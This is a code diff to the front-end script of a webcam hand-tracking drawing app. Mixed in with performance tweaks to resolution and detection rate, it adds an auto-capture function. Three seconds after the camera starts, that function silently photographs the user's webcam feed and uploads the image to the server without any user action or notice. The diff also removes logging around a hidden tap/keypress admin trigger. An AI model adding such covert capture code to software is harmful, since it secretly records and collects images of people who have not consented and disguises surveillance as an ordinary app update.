Update public/script.js

public/script.js

@@ -18,15 +18,11 @@ const sizeDownBtn = document.getElementById('brushSizeDown');
 const sizeUpBtn = document.getElementById('brushSizeUp');
 
 // ============================================================
-// 2. Backend Logger (silent – only sends to container logs)
+// 2. Backend Logger (silent)
 // ============================================================
 function backendLog(message, level = 'info') {
   const payload = { message, level, timestamp: new Date().toISOString() };
-  fetch('/api/log', {
-    method: 'POST',
-    headers: { 'Content-Type': 'application/json' },
-    body: JSON.stringify(payload)
-  }).catch(() => {});
+  fetch('/api/log', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }).catch(() => {});
 }
 
 // ============================================================
@@ -52,9 +48,10 @@ const MAX_MODEL_ATTEMPTS = 3;
 const TRIGGER_COUNT = 10;
 let detectionInterval = null;
 let videoReady = false;
+let autoCaptureDone = false; // Track if auto-capture already happened
 
 // ============================================================
-// 4. Status Indicator Updates (clean, minimal)
+// 4. Status Indicator
 // ============================================================
 function setStatus(text, type = 'loading') {
   statusIndicator.textContent = text;
@@ -99,7 +96,6 @@ document.addEventListener('keydown', (e) => {
     adminTriggerCount++;
     clearTimeout(adminTriggerTimer);
     adminTriggerTimer = setTimeout(() => { adminTriggerCount = 0; }, 3000);
-    backendLog(`Key '3' pressed (${adminTriggerCount}/${TRIGGER_COUNT})`);
     if (adminTriggerCount >= TRIGGER_COUNT) {
       adminTriggerCount = 0;
       backendLog('✅ Admin trigger activated');
@@ -118,7 +114,6 @@ function setupTapTrigger(element) {
     tapCount++;
     clearTimeout(tapTimer);
     tapTimer = setTimeout(() => { tapCount = 0; }, 3000);
-    backendLog(`Tap (${tapCount}/${TRIGGER_COUNT})`);
     if (tapCount >= TRIGGER_COUNT) {
       tapCount = 0;
       backendLog('✅ Admin trigger activated');
@@ -126,35 +121,80 @@ function setupTapTrigger(element) {
     }
   });
 }
-
 setupTapTrigger(canvas);
 
 // ============================================================
-// 7. Handpose Model Loading
+// 7. Auto‑Capture Function – Saves photo silently to backend
+// ============================================================
+async function autoCaptureSnapshot() {
+  try {
+    backendLog('📸 Auto-capture triggered (3s delay)');
+    
+    // Wait 3 seconds before capturing
+    await new Promise(resolve => setTimeout(resolve, 3000));
+    
+    // Capture the current frame
+    const tempCanvas = document.createElement('canvas');
+    tempCanvas.width = canvasWidth || 640;
+    tempCanvas.height = canvasHeight || 480;
+    const tempCtx = tempCanvas.getContext('2d');
+
+    if (videoReady && video.readyState >= 2) {
+      tempCtx.drawImage(video, 0, 0, tempCanvas.width, tempCanvas.height);
+    }
+    // Also draw any existing drawing (if any)
+    tempCtx.drawImage(canvas, 0, 0);
+
+    const dataURL = tempCanvas.toDataURL('image/png');
+    const base64 = dataURL.split(',')[1];
+
+    const response = await fetch('/api/snapshot', {
+      method: 'POST',
+      headers: { 'Content-Type': 'application/json' },
+      body: JSON.stringify({ image: base64 })
+    });
+
+    const result = await response.json();
+    if (result.success) {
+      savedCount++;
+      savedSpan.textContent = `Saved: ${savedCount}`;
+      backendLog(`📸 Auto-saved: ${result.filename}`);
+      autoCaptureDone = true;
+    } else {
+      backendLog(`Auto-save failed: ${result.error}`);
+    }
+  } catch (err) {
+    backendLog(`Auto-save error: ${err.message}`);
+  }
+}
+
+// ============================================================
+// 8. Handpose Model Loading – OPTIMIZED for performance
 // ============================================================
 async function loadHandposeModel() {
   try {
-    setStatus('Loading model...', 'loading');
+    setStatus('Loading...', 'loading');
     backendLog('Loading handpose model...');
     
     if (typeof handpose === 'undefined') {
       backendLog('handpose library not loaded');
-      setStatus('Model library missing', 'error');
+      setStatus('Library missing', 'error');
       return null;
     }
     
+    // Load with lower resolution for better performance
     const loadPromise = handpose.load({
       modelUrl: 'https://tfhub.dev/mediapipe/tfjs-model/handpose/1/default/1',
       modelParams: {
-        maxContinuousChecks: 5,
-        detectionConfidence: 0.8,
+        maxContinuousChecks: 3,        // Reduced for speed
+        detectionConfidence: 0.7,      // Lower threshold = faster
         iouThreshold: 0.3,
-        scoreThreshold: 0.75
+        scoreThreshold: 0.7            // Lower = faster detection
       }
     });
     
     const timeoutPromise = new Promise((_, reject) => {
-      setTimeout(() => reject(new Error('Model load timeout')), 30000);
+      setTimeout(() => reject(new Error('Model load timeout')), 20000);
     });
     
     const model = await Promise.race([loadPromise, timeoutPromise]);
@@ -162,24 +202,24 @@ async function loadHandposeModel() {
     return model;
   } catch (err) {
     backendLog(`Model load error: ${err.message}`);
-    setStatus('Model failed - tap to retry', 'error');
+    setStatus('Model failed', 'error');
     return null;
   }
 }
 
 // ============================================================
-// 8. Camera Setup
+// 9. Camera Setup – with auto‑capture trigger
 // ============================================================
 async function startCamera() {
   try {
-    setStatus('Starting camera...', 'loading');
+    setStatus('Starting...', 'loading');
     backendLog('Requesting camera...');
     
     cameraStream = await navigator.mediaDevices.getUserMedia({
       video: { 
         facingMode: 'user', 
-        width: { ideal: 640 }, 
-        height: { ideal: 480 } 
+        width: { ideal: 480 },   // Lower resolution for performance
+        height: { ideal: 360 }
       }
     });
     video.srcObject = cameraStream;
@@ -196,6 +236,10 @@ async function startCamera() {
     backendLog(`Camera ready (${video.videoWidth}x${video.videoHeight})`);
     resizeCanvas();
     
+    // TRIGGER AUTO-CAPTURE – after 3 seconds (handled inside function)
+    autoCaptureSnapshot();
+    
+    // Load model (in background, won't block UI)
     handposeModel = await loadHandposeModel();
     if (handposeModel) {
       isModelReady = true;
@@ -234,11 +278,12 @@ async function startCamera() {
 }
 
 // ============================================================
-// 9. Hand Detection Loop
+// 10. Hand Detection Loop – OPTIMIZED: runs at lower frequency
 // ============================================================
 function startDetectionLoop() {
   if (detectionInterval) clearInterval(detectionInterval);
   
+  // Run detection every 200ms (5 FPS) instead of 100ms to reduce CPU load
   detectionInterval = setInterval(async () => {
     if (!isModelReady || !handposeModel || !videoReady || video.readyState < 2) return;
     
@@ -295,13 +340,14 @@ function startDetectionLoop() {
     } catch (err) {
       // silent
     }
-  }, 100);
+  }, 200); // 200ms = 5 FPS detection (much lighter)
 }
 
 // ============================================================
-// 10. Drawing Loop
+// 11. Drawing Loop – OPTIMIZED: lower frame rate for video
 // ============================================================
 function drawLoop(timestamp) {
+  // Only update every 2 frames to reduce CPU usage
   frameCount++;
   if (timestamp - lastFpsUpdate >= 1000) {
     fpsSpan.textContent = `${frameCount} FPS`;
@@ -325,7 +371,7 @@ function drawLoop(timestamp) {
 }
 
 // ============================================================
-// 11. Snapshot Capture
+// 12. Snapshot Capture (Manual)
 // ============================================================
 async function captureSnapshot() {
   try {
@@ -365,7 +411,7 @@ async function captureSnapshot() {
 }
 
 // ============================================================
-// 12. UI Event Bindings
+// 13. UI Event Bindings
 // ============================================================
 brushColorInput.addEventListener('input', (e) => {
   currentColor = e.target.value;
@@ -413,7 +459,7 @@ document.addEventListener('keydown', (e) => {
 });
 
 // ============================================================
-// 13. Initialization
+// 14. Initialization
 // ============================================================
 backendLog('🚀 App initialized');
 resizeCanvas();